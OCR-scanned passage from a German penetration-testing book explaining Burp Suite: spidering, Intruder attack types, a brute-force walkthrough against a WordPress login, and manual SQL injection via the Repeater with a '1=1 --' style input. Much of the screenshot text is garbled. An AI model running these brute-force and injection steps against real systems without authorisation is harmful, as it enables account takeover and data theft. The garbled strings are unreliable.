zustellen, dass keine von den Standardeinstellungen abweichenden Einstellungen
vorliegen.

E Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[ Target. T Proxy T Spider T Scanner T Intruder T ﬁepeater T Sequencer. 1

[ Control | Optiens.

(i#] These settings control how the Spider submits legin forms.

() Don't submi login forms
() Prompt for guidance
@ Handrljgas ordinary forms

() Automadically submit these credentials:

Die Vorbereitungen fir die automatische Analyse von Web-Applikationen.
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Dann 6ffnen Sie auf der Registerkarte Spider das Unterregister Options. Scrollen
Sie zum Abschnitt Application login. Wenn die Umgebung, die Sie scannen wol-
len, Uber eine Zugangsbeschrankung verfiigt und Sie diese Informationen besitzen,
aktivieren Sie die Option Automatically submit these credentials und geben den
Benutzernamen und das Passwort ein. Wenn Sie diese Daten nicht besitzen, wéah-
len Sie die Option Handle as ordinary forms. Als Nachstes missen Sie die Proxy-
Einstellungen I hres Browsers entsprechend obiger Beschreibung anpassen.

Es folgen die Zieleinstellungen auf der Registerkarte Target. Dort 6ffnen Sie das
Unterregister Site map. Hier sollten Sie nun eine oder mehrere Domains finden.
Markieren Sie den gewtnschten Domain-Eintrag und filhren Sie aus dem Kon-
textmenii der rechten Maustaste den Befehl Expand branch aus. Mit dem Aufklap-
pen wird die Site-Strutktur eingeblendet, soweit Burp diese einlesen konnte.

Oftmals kann man anhand der Domain-Struktur erkennen, wo welche Anwendung-
en ausgefuhrt werden. Wenn die Domain beispiel.de lautet, so findet man Shops,
Blogs- oder @hnliches beispielsweise unter den Adressen www.beispiel.de/shop/
oder www.beispiel.de/blog/.

Markieren Sie den gewiinschten Ast wieder mit der rechten Maustaste und fuhren
Sie den Kontextbefehl Spider this host/branch aus. Unter Umsténden verlangt sich
Burp ein gesondertes Okay fir das Scannen.

Dann wechseln wir zur Registerkarte Spider und dort zum Unterregister Control.
Der Spider-Status verrét Ihnen, wie Burp die Ziele analysiert und wie viele Daten
geflossen sind. Ist der Spider-Vorgang abgeschlossen, wechseln Sie wieder zur
Registerkarte Target und dort auf das Unterregister Stemap.

Markieren Sie nun die Anwendung und fihren aus dem Kontextmenti der rechten
Maustaste den Befehl Actively scan this host/branch aus. Burp présentiert |hnen
einen Assistenten, der Sie durch die Scan-Eintstellungen fuhrt. Fir den Einstieg
genigt es, wenn Sie diese Optionen

Als Néchstes wechseln Sie zur Registerkarte Scanner und dann zum Unterregister
Scan. Dort wird die Liste aller gescannten Elemente angezeigt. Der Scanner stellt
Ihnen das Unterregister Results zur Verfligung. Anhand dieser Ergebnisse erken-
nen Sie unmittelbar, wo sich Schwachstellen und Verwundbarkeiten in Ihrer Um-
gebung befinden.

Sie kénnen aus diesen Ergebnissen auch einen Bericht generieren, der die Detailin-
formationen in einem einfach lesbaren Dokument zusammenfasst. Einziges Manko
an diesem (Semi-)Automatismus. Er steht nur in der kommerziellen Pro-Version
zur Verflgung.
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5.4 Der Workflow mit der Burp Suite
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Um ein Maximum aus einem Web Application Security Scanner zu holen, sollte
man mit der typischen Vorgehensweise vertraut sein. Die Burp Suite ist so konzi-
piert, dass sie Sie beim Testen von Web-Applikationen aktiv unterstiitzt. Sie kén-
nen dabel automatische und manuelle Techniken miteinander kombinieren.

Viele Anwender wiinschen sich zwar ein Testwerkzeug, das sie a la Nessus oder
OpenVAS auf eine Umgebung lodlassen kdnnen, doch so einfach ist das beim
Testen von Web-Applikationen leider nicht. Nachstehende Abbildung skizziert den
Workflow beim Web Application Security Testen mit der Burp Suite.
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Der Workflow bei der Arbeit mit der Burp Suite (Quelle: PortSwigger).
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Der Workflow ist durch mehrere Etappen und Werkzeuge gekennzeichnet. Zu
Beginn des Tests stehen das Erkennen von Schwachstellen und deren Analyse. Das
Herzstiick der Testumgebung ist das Proxy-Tool, Uber das der Traffic zwischen
Ihrem Browser und der Zielumgebung lauft. Der Proxy ist ein Aufzeichnungsmo-
dul, &hnlich der Capture-Funktion von Wireshark. Der webspezifische Traffic 1auft
Uber dieses Modul und wird von ihm aufgezeichnet. Bei einem typischen Test
werden drei Aufgaben abgearbeitet:

Manuelles M appen der Applikaiton: Mit Hilfe des Browsers kdnnen Sie
ein Abbild der Anwendung erstellen und dabei Links folgen und sich
Schritt fur Schritt durch die Applikation bewegen. Im Proxy-Modul wer-
den ale Content-Elemente und durch passives Spidern gesammelte In-
formationen aufgezeichnet.

Automatisches Mapping: Sofern notwendig sollten Sie das manuelle
Mappen durch automatisches Informationssammeln ergénzen. Dabei kann
sich die Burp Suite mehrerer Hilfsmittel bedienen. Sie kénnen insbeson-
dere das Spider-Modul mit der Suche nach weiteren Elementen beauftra-
gen. Die Spider funktioniert wie Google & Co. — zumindest in Grundzi-
gen — und durchsucht die gesamte Struktur nach bislang unerkannten Sei-
ten, Elementen und Funktionen. Die Burp Suite kennt au3erdem die Funk-
tion Content Discovery, die Inhalte aufsplrt, auf die keine Verweise von
sichtbaren Inhalten existieren.

Angriffsflachen analysieren: Durch das Sammeln der verschiedensten
Informationen und die Site-Struktur kann Ihnen Burp die mdglichen Ang-
riffspunkte herausarbeiten. Die Burp Suite besitzt auflerdem den soge-
nannten Target Analyzer, der detaillierte Berichte zu moglichen Angriffs-
punkten liefert.

Wie wir im bisherigen Verlauf dieses Kapitels bereits gesehen haben, stellt Ihnen
die Burp Suite verschiedene Module zur Verfligung, die je nach Testetappe korrekt
konfiguriert werden miissen. Nur mit den korrekten Einstellungen des Programms
und der verschiedenen Module kommen Sie mit der Burp Suite ans Ziel.

Die wichtigsten Einstellungen finden Sie auf der Registerkarte Options. Hier kon-
nen beispielsweise der verwendete Zeichensatz sowie die Schriftart und Gréle
bestimmt werden, damit die HTTP-Nachrichen optimal dargestellt werden.

Verwendet das Zielsystem bestimmte Authentifizierungsmechanismen, so kénnen
Sie diese in den Programmoptionen auf dem Unterregister Connections hinterle-
gen. Auf dem Unterregister Sessions konnen Sie Regeln fir das Session Handling
anlegen.
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Die Pro-Version kann sogar den Status von Tests einfrieren und diese zu einem
spéteren Zeitpunkt fortsetzen oder diese per Zeitsteuerung ausfihren.

E Burp Suite Free Edition v1.6.01

Burp Intruder Repeater VWindow Help

[Target T Prox T Spider T Scanner T Intruder T ﬁepeater T Saquencer. T Decoder I Comparer I Extender T.Opﬁuns Ale
J Connections I HTTP ]ET Sessions I Display I Misc

@) Platio

(¢ -*J These settings let you configure Burp to automatically carry out platform authentication to destination web servers.

# Do platform authentication

l Add J Host A | Type | Username | Domain | Domain host
lpcalhost Basic holger

l Edit

l Remove

d Prompt for credentialz on platform authentication failure

Die korrekten Einstellungen der Umgebung
sind essentiell fur erfolgreiche Tests.

Wenn Sie diese Vorbereitungen getroffen haben, kénnen Sie sich als Néchstes an
das Testen einer Anwendung machen. Dabel hat es sich bewahrt, wenn man zu
mehren Burp-Tools gleichzeitig greift. Wie wir bereits gesehen haben, ist das Kon-
textmenii der rechten Maustaste dabel ein wichtiges Hilfsmittel. In der Praxis kon-
nen Sie mit Burp verschiedene Tests durchfiihren und unterschiedliche Schwach-
stellen aufdecken. Die meisten Web-Applikationen besitzen Bugs, die auf der Ein-
gabeverarbeitung basieren, beispiel sweise SQL Injection, Cross Site Scripting. Fur
deren Aufdeckung stellt Thnen Burp Suite verschiedene Tools zur Verfligung. Mit
dem Burp Intruder kénnen Sie zufélige Eingaben generieren. Mit dem Repeater
koénnen Sie Requests modifizieren und wiederholt ausfihren.

Die Burp Suite kann Ihnen beim Aufdecken von Authentifizierungsschwachstellen
nitzlich sein. So kénnen Sie beispiel sweise Funktionalitéten aufdecken, die nur fir
bestimmte Benutzer verfiigbar sind, fir andere aber nicht. Sie kbnnen mit unter-
schiedlichen Browsern verschiedene Verhaltensweisen identifizieren, die sich bei
Benutztereingaben zeigen. Auch Privilig-Eskalationen kénnen mit Burp aufgedeckt
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und genutzt werden. Das sind nur einige Méglichkeiten, die Ihnen die Burp Suite
bietet.

5.5 Das Target-Tool in der Praxis

Da Sie die wichtigsten Funktionen, Elemente und die Vorgehensweise beim Ein-
satz der Burp Suite kennen, schauen wir uns als Nachstes an, wie Sie konkret mit
diesen Funktionen arbeiten.

Wie wir gesehen haben, prasentiert Ihnen das Target-Tool einen Uberblick iber die
Inhalte und Funktionen des Ziels. Um das Ziel manuell in Burp abzubilden, kénnen
Sie ein manuelles Mapping der Anwendung durchfiihren. Dazu schalten Sie die
Proxy Interception auf der Registerkarte Proxy > Options aus und browsen durch
die gesamte Anwendung. Das ist mit einem gewissen Aufwand verbunden, denn
Sie mussen jedem Link folgen, jedes Formular ausfihren und sofern maglich, auch
alle geschiitzten Bereiche besuchen.

Das Proxy-Modul zeichnet alle Aktivitéten aus. Beim Surfen durch das Ziel er-
zeugt Burp daraus eine Sitemap. Das manuelle Mapping gilt als deutlich sicherer
und zuverlassiger a's das automatische Scannen.

E BupSute Free Sdition 41601
Bup Intruder Repaatsr Window Hap

Targel | Proxy | Spider ScmncthiruderTF.cpecter Sequencer | De
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Das Hinzufiigen von Sitemap-Eintrégen zum Tar get-Scope.
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Nachdem Sie das Ziel soweit wie erforderlich erfasst haben, kénnen Sie als N&ch-
stes den Zielbereich bestimmen. Dazu verwenden Sie das Unterregister Scope. Sie
koénnen Bereiche auch aus der Sitemap heraus mit dem Kontextmeni der rechten
Maustaste erstellen. Dazu fuhren Sie den Befehl Add to scope aus.

Wenn Sie mit der Pro-Version arbeiten, kdnnen Sie auch mit der Discover Con-
tent-Funktion versteckte Inhalte und Funktionen aufdecken, die so nicht verfligbar
sind.

Ist das Erfassen der Site zu lhrer Zufriedenheit abgeschlossen, kdnnen Sie sich als
Néachstes der Analyse der Angriffsoberflache zuwenden. Diese Méglichkeit bietet
Ihnen leider nur die Pro-Version, die Uber das Kontextmentii der rechten Maustaste
das Untermenti Engagement tools die Funktion Analyze target bietet.

Wenn Sie nur die Basisversion der Burp Suite besitzen, kdnnen Sie sich mit Disp-
lay-Filtern zu den interaktiven Funktionen vorarbeiten. Das ist ein wenig mihsa-
mer, aber fir den Einstieg sicherlich ausreichend.

E Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[Targ&t T Prox T ;E'.pider T Scanner T IntrudBrT ﬁep&ater T S&qu&nc&r. T Decoder ]
- j
Target | Positions T Payloads I Options 1

¥

Configure the positions where payloads will be ingerted into the base request The ¢

Altack type: | Sniper

POST Sexample?pl=8plvalfcpl=8piwvals HTTF/L.O
Cookie: c=§Scwvals§
Content-Length: L7

p3i=8p3valsSspd=Spidvals

Das Intruder-Modul dient der Durchfiihrung von Angriffen.
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5.6 Verwundbarkeiten testen

Nachdem Sie die Zielwebsite erfasst und die mdglichen Angriffspunkte identifi-
Ziert haben, kénnen Sie sich als Néchstes dem Testen der Verwundbarkeiten zu-
wenden. Hierzu greifen Sie bel der Pro-Version zur automatischen Attack-
Ausfiihrung. Alternativ greifen Sie zum Intruder-Modul oder verwenden den Burp
Repester.

Sie kénnen auBerdem einen V ergleich von Sitemaps durchfiihren, um Verwundbar-
keiten der Authentifizierung zu ermitteln. Die Burp Suite bietet Ihnen auf3erdem
die Mdglichkeit, nach spezifischen Ausdriicken Skripts und Kommentaren zu su-
chen.

Fur die praktische Durchfihrung von Angriffen gegen das Zielsystem verwenden
Sie das Intruder-Modul. Esist sehr leistungsféhig und anpassbar und bietet vielfal-
tige Mdglichkeiten fur die Durchfiihrung von Attacken. Angefangen bei einfachen
Brute-Force-Angriffen bis hin zu komplexen SQL -1njektionen.

Das Intruder-Modul nimmt einen HTTP-Request, einen sogenannten Basis-
Request, modifiziert diesen systematisch, fiihrt die gesprechenden Modifikationen
der Anfrage aus und analysiert dann die Antwort der Applikation.

Fir jede Attacke missen Sie dabei eine sogenannte Nutzlast (Payload) und die
Position im Request spezifizieren. Eine solche Nutzlast kann aus einfachen Zei-
chen, Zahlen bis hin zu komplexen Skripts bestehen. Die Burp Suite kann dabei
auch Skripts, Daten und Algorithmen aus Drittquellen integrieren.

Mit dem Intruder-Modul kdnnen Sie drei zentrale Aufgaben bewdltigen:
Identifier ermitteln
Wertvolle Daten herausziehen

Mit Zufallstechniken Fehleranfélligkeiten und Sicherheitdticken identifi-
zieren

Diese drei Aufgaben bedirfen der Erlauterung. Web-Applikationen verwenden
meist Identifier, um sich auf Objeket oder Daten zu beziehen. Diese werden haufig
sogar im Adressfeld des Browsers angezeigt. Beispiele hierfir sind Benutzernamen
und Dokumenten-IDs.

In der Praxis werden Sie grof3e Mengen an 1Ds prifen missen, um jene herauszu-
picken, bei denen eine weitere Analyse lohnen kdnnte. Dazu fihren Sie mit dem
Intruder folgende Schritte aus:
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1. Finden Sie zundchst einen Request, der eine ID in den Parametern ver-
wendet, wobel die Antwort die Gltigkeit bestétigt.

Konfigurieren Sie eine Payload-Position fir den Parameterwert.

3. Greifen Sie zu einem geeigneten Payload-Typ, um eine potenzielle ID zu
erstellen, die das korrekte Format besitzt.

4. Ermitteln Sie ein Feature der Antwort, das Ihren Payload verarbeitet.

Anhand einiger Praxisbeispiele wird deutlich, was damit gemeint ist. Gibt eine
Login-Funktion eine Fehlermeldung aus, der man den gliltigen Benutzernamen
entnehmen kann, so kénnen Sie mit dem Payload fir den Benutzernamen eine
Liste gultiger Logins testen. Ein weiteres Beispiel: Wenn Sie einer Funktion die
Bestell-ID entlocken kdnnen, kdnnen Sie mit dem Payload Custom iterator mogli-
che weitere korrekte ID generieren.

Nicht immer kommen Sie mit IDs weiter und Sie bendtigen stattdessen welitere
Details. Die meisten Login-Funktionen besitzen das Feature Passwort vergessen,
das dem Anwender den Benutzernamen und einen Passworthinweis présentiert.
Mit dem Intruder-Modul kdnnen Sie solche Formulare ausfillen und versuchen,
auf diesem Weg an eine gultige Zugangsberechtigung zu gelangen.

Gibt die Anwendung dynamischen Content Uber eine URL zurtick, die einen nume-
rischen Seitenwert samt 1D enthélt, kdnnen Sie diese mit einem speziellen Payload-
Modul prifen und den Seitentitel der zugehdrigen Seite abrufen. Bei Seiten mit
Benutzerprofilen kénnen Sie oftmals sogar die Profileinstellungen und die Liste
der Benutzernamen abrufen.

Security Scanner wie die Burp Suite verwenden sogenannte Fuzzing-Techniken fir
das Identifizieren von Fehleranfalligkeiten und Sicherheitsllicken. Dabei machen
sich die Scanner eine Besonderheit zunutze: Viele Eingabeschwachstellen wie
SQL-Injektion, Cross Site Scripting etc. kdnnen durch die Konfrontation mit spezi-
fischen Zeichenfolgen und der Auswertung der Riickgabe erkannt werden. Aber
auch hierfir stellt Thnen das Intruder-Modul die geeignten Funktionen zur Verfi-
gung.

Da Sie nun eine grobe Vorstellung davon haben, wie Sie konkret Schwachstellen
in IThren Web-Applikationen aufdecken kénnen, lautet die néchste Frage, wie Sie
konkret Attacken mit dem Programm fahren.

Das Intruder-Modul kann mehrere Attacken simultan ausfihren. Dazu verwenden
Sie jeweils ein Tab. Wenn Sie die Zielanwendung mit Requests konfrontieren, so
wird jeder in einem eigenen Register gedffnet, wobel fur jede Attacke einzelne
Unterregister zur Verfiigung stehen.
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E Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[Target I Proxy T Spider [ Scanner I IntruderT ﬁepeater T Seque

Imn

_[ Target ] Positions T Payloads ] Options ]

|;"J fitach

Configure the details of the target for the attack.

Host: | 37.202.7.17|
Port: |20

Ll Use HTTPS

Die Konfiguration des Ziels.

Auf der Registerkarte Intruder konfigurieren Sie die Attacken. Bestimmen Sie
zundchst auf der Registerkarte Target die IP-Adresse und den Port des Ziels. Auf
der Registerkarte Positions bestimmen Sie, wie die Payload-Daten eingespeist
werden und welchen Angriffstyp Sie verwenden wollen. Das zugehdrige Aus-
wahlmenu stellt IThnen vier Typen zur Auswahl:

Sniper: Dieser Typ verwendet einen einfachen Satz an Payloads. Ver-
wenden Sie diesen Typ, um verschiedene Reuest-Parameter zu testen.

Battering ram: Dieser Typ fihrt Sie schrittweise durch den Angriff und
ist inshbesondere dann sinnvoll, wenn Sie gleiche Angaben an mehreren
Stellen verwenden wollen.

Pitchfork: Dieser Angriffstyp verwendet mehrere Payload-Sets. Dieser
Typ ist dann der richtige, wenn Sie dhnliche Payloads an verschiedenen
Stellen verwenden wollen.

Cluster bomb: Bel diesem Typ kommen unterschiedliche Payload-Sets
zum Einsatz.

Wenn Sie nicht wissen, welches nun der richtige Angriffstyp ist, beginnen Sie mit
Sniper und arbeiten Sie sich nach unten vor.
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Die Registerkarte Positions verwenden Sie fir die Konfiguration des Request-
Templatesin Verbindung mit der Payload-Position und dem Attacktyp.

Es folgt als Néchstes die Payload-Auswahl. Wenn Sie eine Pro-Lizenz erworben
haben, kénnen Sie hier aus einer umfangreichen Liste an vordefinierten Inhalten
auswahlen, die Sie einfach in lhre Attacken integrieren kénnen. Aber wie wir im
nachsten Abschnitt noch anhand dreier Beispiele sehen werden, kénnen Sie auch
mit der Free Edition auf viele Payload zurtickgreifen.

Der einfachste Weg, eine neue Intruder-Attacke anzulegen, ist die Ubernahme
eines Base-Requests, den Sie der Proxy-History entnehmen kénnen. Den tbermit-
teln Sie mit dem Befehl Send to intruder an das Intruder-Modul.

Die Burp Suite erzeugt ein neues Attack-Register und fillt dieses bereits mit den
relevanten Details des Requests aus. Die tibernommenen Inhalte kénnen Sie nun
im Intruder-Modul anpassen und dabei beispielsweise die Payload-Konfiguration
andern.

E sumpsuite Free Editon 1 601

Eurp Irtruder Mzpcater Windaw Hzly

[ lage: T Froxy : Spder I scanne” T ntruder T Hepzater r SeJuenzer I Uecode” T Comparer T Extendsr I LUpbiors. IFEH

I~

[1.:'9:'. Fosficns  Paylcads 1 Optoas ]

)

Cunfiguie e pusilizns woerz paylvads will be inse led e e base reguesl. The adack lype dele mines e way nowlich pa

Attacktype: | Sniper

PO3T /wp-loginm. gug ATTR/L. L

Accept: text/ azplization/xhtoltzarl, */*

Defercr: http cibold.d=/wp login.phpfrcdircct to-http%3i%IF%iFroibold.des
Agccpt Languagco: de

Tser-igent: Meozillaf3.] (zompatible; MSIE S.C; Windows N7 €.0; Tridenz/3.00
Content-Type: azzlicacisn/w-www—form—urlerncodsed

becept-Encoding: gzip, d=flate

Host: reibold. des

Content-Length: LU3

Fragma: no-cacie

Cookie!: VOrdpress_zesc_CooKle=SWP+Cooklstchecks

Die ausdem Proxy-M odul an den Intruder weiter gereichten Daten.

Der Intruder stellt Thnen verschiedene Funktionen fir die Verwaltung von Ang-
riffskonfigurationen zur Verfligung. Sie kénnen Angriffskonfigurationen sichern
und spéter erneut laden. Sie kénnen diese Konfiguratonen auch zwischen verschie-
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denen Registern austauschen oder eine bestehende in ein neues Register kopieren.
Das funktioniert alerdings nur in der Pro-Version. Sie konnen die Registerkarten

auch frei verschieben.

E Burp Suite Free Edition v1.6.01

Repeater Window Help

Tar|{ Sendto Repeater

Save attack config [Pro version only]
l;’)J Load attack config [Pro version only]
= Copy attack config

lEJ New tab behavior

Automatic payload positions

lquest header

yYvyYyYvywyvywy

Engine

(2
lUJ These =ettings control the engine used for making HTTP reguests when perform

Note: Some of these options are not available in the Free Edition of Burp.

Number of threads:

Number of retries on network failure: 3

Pause before retry (miliseconds): 2000

Throttle (miliseconds):

step | 30000

Start time: @ Immediately

I (10 minutes

() Paused

Das Starten des Angriffserfolgt Gber das Intruder-M end.

Nachdem Sie die Angriffskonfiguration angelegt haben, kénnen Sie diese ausfih-
ren. Dazu fihren Sie den Menibefehl Intruder > Start attack aus. Die Burp Suite
offnet fur jeden Angriff ein eigenes Fenster, in dem Sie die Aktionen verfolgen
konnen. Sie kdnnen dabei insbesondere die Requests und Responses verfolgen und
so weitere interessante Informationen und Ansatzpunkte fur die weitere Analyse
erlangen. Uber Filter kénnen Sie auRerdem die Ergebnisse gezielt einschranken. In
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der Proversion kdnnen Sie auch lhre gesamten Angriffe sichern und spéter erneut
laden.

5.7 Praxisbeispiele mit der Burp Suite

Nach alen diesen doch Uberwiegend theoretischen Ausfiihrungen, mdchte ich
Ihnen nun anhand einiger typischer Einsatzszenarien zeigen, wie Sie mit der Burp
Suite lhre Web-Applikationen untersuchen.

5.7.1 Brute Force-Attacke eines Login-Dialogs

Login-Dialoge sind seit jeher ein beliebtes Angriffsziel, denn gelingt es einem
Angreifer, sich Zugang zu einer Umgebung zu verschaffen, so kann er diesen nut-
zen wie der Eigentiimer.

In diesem Beispiel zeige ich lhnen, wie Angreifer derlei Zugangsbeschrankungen
aushebeln kénnen. Dabei kommt eine weitere Eigenschaft von Burp zum Einsatz:
Die Umgebung kann durch Add-ons, Plugins und Daten von Drittanbietern funk-
tional erweitert werden bzw. diese integrieren.

Benutzername

Passwort

I Erinnere dich an mich

Fasswort vergessen?

Eine typische L ogin-Funktion kann mit Burp attackiert werden.
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08 Scannen von Web-Applikationen

Um einen Angriff auf einen Login-Dialog zu fahren, greift die Burp Suite auf das
Mutillidae-Tool des OWASPs Broken Web Application Project zuriick. Dieses
Tool muissen Sie zunéchst herunterladen und auf Threm Rechner installieren. Sie
finden das Tool unter folgender URL:

https://ww. owasp. or g/ i ndex. php/ OMSP_Br oken_Web_Appl i cati ons
_Project

Stellen Sie als Néchstes sicher, dass die Interception-Funktion auf der Proxy-
Registerkarte aktiviert ist. Dann steuern Sie das Login-Formular an. Geben Sie in
das Eingabeformular beliebige Zugangsdaten ein und Ubermitteln Sie die Daten mit
einem Klick auf Anmelden an die Web-Applikation.

e
Reguest Send to Spider

J Raw T Params T Headers IE]

Send to Intruder Strg+l
POST /wp-login.php HTTF/Ll.1 k‘

- .| Sendto Repeater Strg+R
Accept: text/html, applicati

Beferer: http://reibold.ds/w] Sendio Sequencer F%2Fz
Locept-Language: de Send to Comparer

User—Agent: Mozilla/5.0 (com] sendto Decoder : Tri
Content-Type: application/x- :

Aoecept-Encoding: gzip, defla Heguest o rowser E

Host: reibold.de Engagement tools [Pro version only] b
Content-Length: 118 Copy URL

Pragma: no-cache

. g Ci | d
Cookie: wph-settings-Z=mfolds e e

D1;
Copy to file

log=test&pwd=testiremenbarme] Save tem ect_t

Die Uber gabe des Requests an das I ntruder-M odul.

Den aufgezei chneten Request kdnnen Sie nun auf der Registerkarte Proxy > Inter-
cept einsehen. Klicken Sie in die Aufzeichnung fihren Sie den Befehl Send to
Intruder aus.

Wechseln Sie dann zum Intruder-Modul und 6ffnen die Registerkarte Positions.
Dort betétigen Sie zunéchst die Clear $-Schaltflache, um die voreingestellten Pa-
rameter-Positionen zu entfernemm. Dann fihren Sie die Parameter username und
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Brute Force-Attacke eines Login-Dialogs 99

password mit einem Klick auf die Add $-Schaltfléche hinzu. Wéahlen Sie als Ang-
riffstyp im Auswahlmeni Attack type den Typ Cluster bomb.

Target | Positions T Payloads T Options ]

Configure the positions where payloads will be inserted inte the base request. The attack type deter

Attack type: [Snmer
Sniper

POST /wy Battering ram

Locept: .

Baferaps Pitchfork

Accept-1 Cluster bomb

User—-Agent: Mozillass.0 [c:Eh‘npati]Jle: MSIE 9.0; Windows NT &.
Content-Type: application/x-www—form-urlencoded
Aocept-Encoding: gzip, deflate

Host: reibold.de

Content-Length: 118

Fragma: no-cache

Cookie: wp-settings-Z=Smfolds3DosSiteditorsiDtinymeceslchideth
WDrclpress_t,est_cookie=§UP+Cookie+check§

]

log=StestSepud=Stestiirememberme=Sforever§ &Wp—submit=5Anme 1d

Die Anpassung des Payloads und des Angriffstyps.

Wechseln Sie dann zur Registerkarte Payloads und stellen Sie sicher, dass der
Wert von Payload set auf 1 und Payload type auf Smple list gesetzt sind. In den
Payload-Optionen geben Sie einige mogliche Benutzernamen an. Das kann ma-
nuell oder mit Hilfe einer vordefinierten Payload-Liste erfolgen. Die vordefinierte
Liste ist lediglich in der Pro-Version enthalten. Sie kdnnen bei der Angabe von

Payload-Optionen auch mit Platzhaltern arbeiten. Mdgliche Eintrage kdnnen wie
folgt aussehen:

I @%$%
I'root
$SRV

$secure$

Deutlich einfacher ist die Verwendung der Pro-Version mit den vordefinierten

Listen. Aber fir erste Gehversuche gentigt die Free Edition auch in dieser Bezie-
hung.

Hacking kompakt
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Target | Positions | Payloads T Options ]

Dann wechseln Sie wieder zu dem Payload-Einstellungen und setzen den Wert von
Payload set auf 2. Starten Sie nun den Angriff, in dem Sie den Mentibefehl Intru-

“ou can define one or more paylead sets. The number of paylead sets depends on the a

Payload set: | 5| 'J Payload count. 3

Payload type: | Simple list 'J Request count: 27

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste | |admin
| user
| Load.. | |root

| Remove | b

| Clear |

Add |

Die Anpassung der Payload-Optionen.

der > Sart attack ausfiihren.

In der Ausgabe, die im Fenster Intruder attack erfolgt, kdnnen Sie die Ergebnisse
verfolgen und diese dann bei spielsweise nach Lange und Status sortieren. Je langer
die Anwort, umso héher die Wahrscheinlichkeit, dass bel diesem Benutzernamen

ein Login gelingen kann.

Finden Sie in der Response in der Raw-Ansicht folgenden Hinweis, war die Brute
Force-Attacke erfolgreich, und Sie haben das System, genauer den Authentifizie-

rungsmechani smus, geknackt:

Logged- I n-User: adm n
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In diesem Fall konnte sich der User admin in die Web-Applikation einloggen. Sie
miissen diese nur noch durch das manuelle Einloggen verifizieren.

Die meisten Web-Applikationen sperren den Zugang nach einer bestimmten An-
zahl an fehlgeschlagenen Login-Versuchen. Diese Regeln sollen zwar den Schutz
einer Umgebung erhohen, offenbaren aber in der Praxis haufig andere Schwach-
stellen.

Aktuelle Web-Applikationen geben bereits bei der Verwendung eines falschen
Benutzernamens eine Fehlermeldung aus. Die Anzahl an fehlerhaften Benutzerna-
men kdnnen Sie durch eine Liste von vordefinierten Namen einschrénken, die sich
Zum einen aus tpyischen Benutzernamen (admin, root etc.) ergeben und die Sie
zum anderen durch Socia Engineering gewonnen haben.

Am einfachsten und zuverléssigsten ist es, weitere Schwachstellen mit Hilfe des
Scanner-Moduls zu ermitteln. Einziges Manko: Sie miissen dafirr die kommerzielle
Version erwerben.

5.7.2 Injection-Schwachstellen ausnutzen

Die sogenannten Injection Flaws, zu Deutsch Injection-Fehler, sind in Web-
Anwendungen weit verbreitet. Diese Schwachstellen entstehen, wenn die Web-
Applikation an sie Ubermittelte Daten ungeprift als Programmcode verwendet.
I njection-Schwachstellen gibt es in verschiedenen Varianten, beispielsweise Web-
script Injection, OS Command Injection oder SQL Injection.

In Verbindung mit den Daten des QWA SP-Projekts kdnnen Sie diese auch mit der
Burp Suite aufdecken. Die Vorgehensweise ist wieder recht einfach. Stellen Sie
zunéchst sicher, dass der Browser die korrekten Proxy-Einstellungen der Burp
Suite verwendet und dass Sie das Interception aktiviert haben.

Offnen Sie nun im Browser die Website, die Sie analysieren wollen. Geben Sie in
das Eingabeformular die Eingabe ein und bestdtigen Sie den Ubermitteln- oder
Suchen-Button.

Den zugehdrigen Request kénnen Sie wieder auf der Registerkarte I ntercept einse-
hen. Wenn Sie nun eine Pro-Lizenz Ihr eigenen nennen, kénnen Sie einen Sicher-
heitscheck mit dem Befehl Do an active scan aus dem Kontextmeni der rechten
Maustaste heraus ausfiihren. Sowie der Scan-Vorgang abgeschlossen ist, kénnen
Sie die Ergebnisse auf dem Unterregister Results der Registerkarte Scanner einse-
hen.

Findet der Burp Scanner eine oder mehrere Schwachstellen, kénnen Sie dem Er-
gebnis auf der Registerkarte Advisory weitere Informationen zu gefundenen
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Schwachstellen entnehmen. Dazu gehdren auch Ratschldge zur Beseitigung der
Schwachstelle.

Sie missen aber nicht zwingend eine Pro-Lizenz besitzen, sondern konnen auch
die Injection flaws manuell testen. In diesem Fall deaktivieren Sie das Interception
und besuchen Sie die Ziel-Website. Wechseln Sie dann zu Burp und aktivieren Sie
dann das Interception wieder. Ubermitteln Sie eine Eingabe an die Anwendung.
Wie gewohnt, finden Sie die Aufzeichnung wieder in der Intercept-Registerkarte.

Klicken Sie dann in einen beliebigen Punkt des Requests und fiihren Sie eine Ein-
gabe aus. Die Aufzeichnung finden Sei wieder in der Intercept-Registerkarte. Fih-
ren Sie mit einem Rechtsklick den Befehl Send to Repeater aus.

E  Burp Suite Free Edition v1.6.01

Burp Intruder Repeater Window Help

[ Spider I Target I Prox T Scanner T IntruderT Repeater T Sequencer. T Decoder T Comparer I Extender ] Options r
ERr™ _]

[ G |

Raw | Params 1 Headers T Hex

GET reguest to /

Type Name: Value | |

| Add
URL s test
Cookie wp-settings-2 mfold=o&editor=tinymce&hidetb=1 | Remove |
Cockie wp-settings-time-2 1436112961 ——
Cookie wordpress. test cookie WP Cookie check | Up |
Body account_name [1%63d1%20—%20 |

| Down |

Das Bearbeiten der Repeater -Parameter .

Offnen Sie die Registerkarte Repeater und dort das Unterregister Params. Finden
Sie dort einen Eingabedialog, so kénnen Sie diesem einen Wert wie 1=1 - zuwei-
sen. Dieser Wert bringt so manche Web-Applikation ins Schwimmen.

Offnen Sie als N&chstes mit dem Repeater die Antwort auf Ihren Request. Offnen
Sie die Reponse mit Show response in browser in IThrem Webbrowser. Kopieren
Sie dann die URL mit einem Rechtsklick (Copy URL) und fordern Sie das zugeho-
rige Dokument an. Mogliche Ergebnisse dieser Vorgehensweise: Sie erhalten Zu-
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griff auf die Benutzerliste oder kénnen gar die Kredikartennummern einsehen, die
in der Web-Applikation fur Abrechnungen verwendet wurde.

Wenn Sie lhre Vorbereitungen fir einen Penetrationstest sorgféltig durchgefihrt
haben, wissen Sie, mit welcher Appliktion Sie es zu tun haben. Damit ist es ein
Leichtes herauszufinden, an welchen Sicherheitsliicken eine Web-Anwendung
krank. Sie missen nur noch in den in Anhang A genannten Quellen recherchieren,
welche Schwachstellen aktuell existieren und wie man diese ausnutzt. Alles andere
ist mit Burp dann fast ein Kinderspiel.

5.7.3 Mangelhafte Sicherheitskonfigurationen auf-
decken

Potentielle Angreifer haben nicht immer Datenklau oder Manipulation im Visier,
sondern interessieren sich fur allgemeine Schwachpunkte der Sicherheitskonfigura-
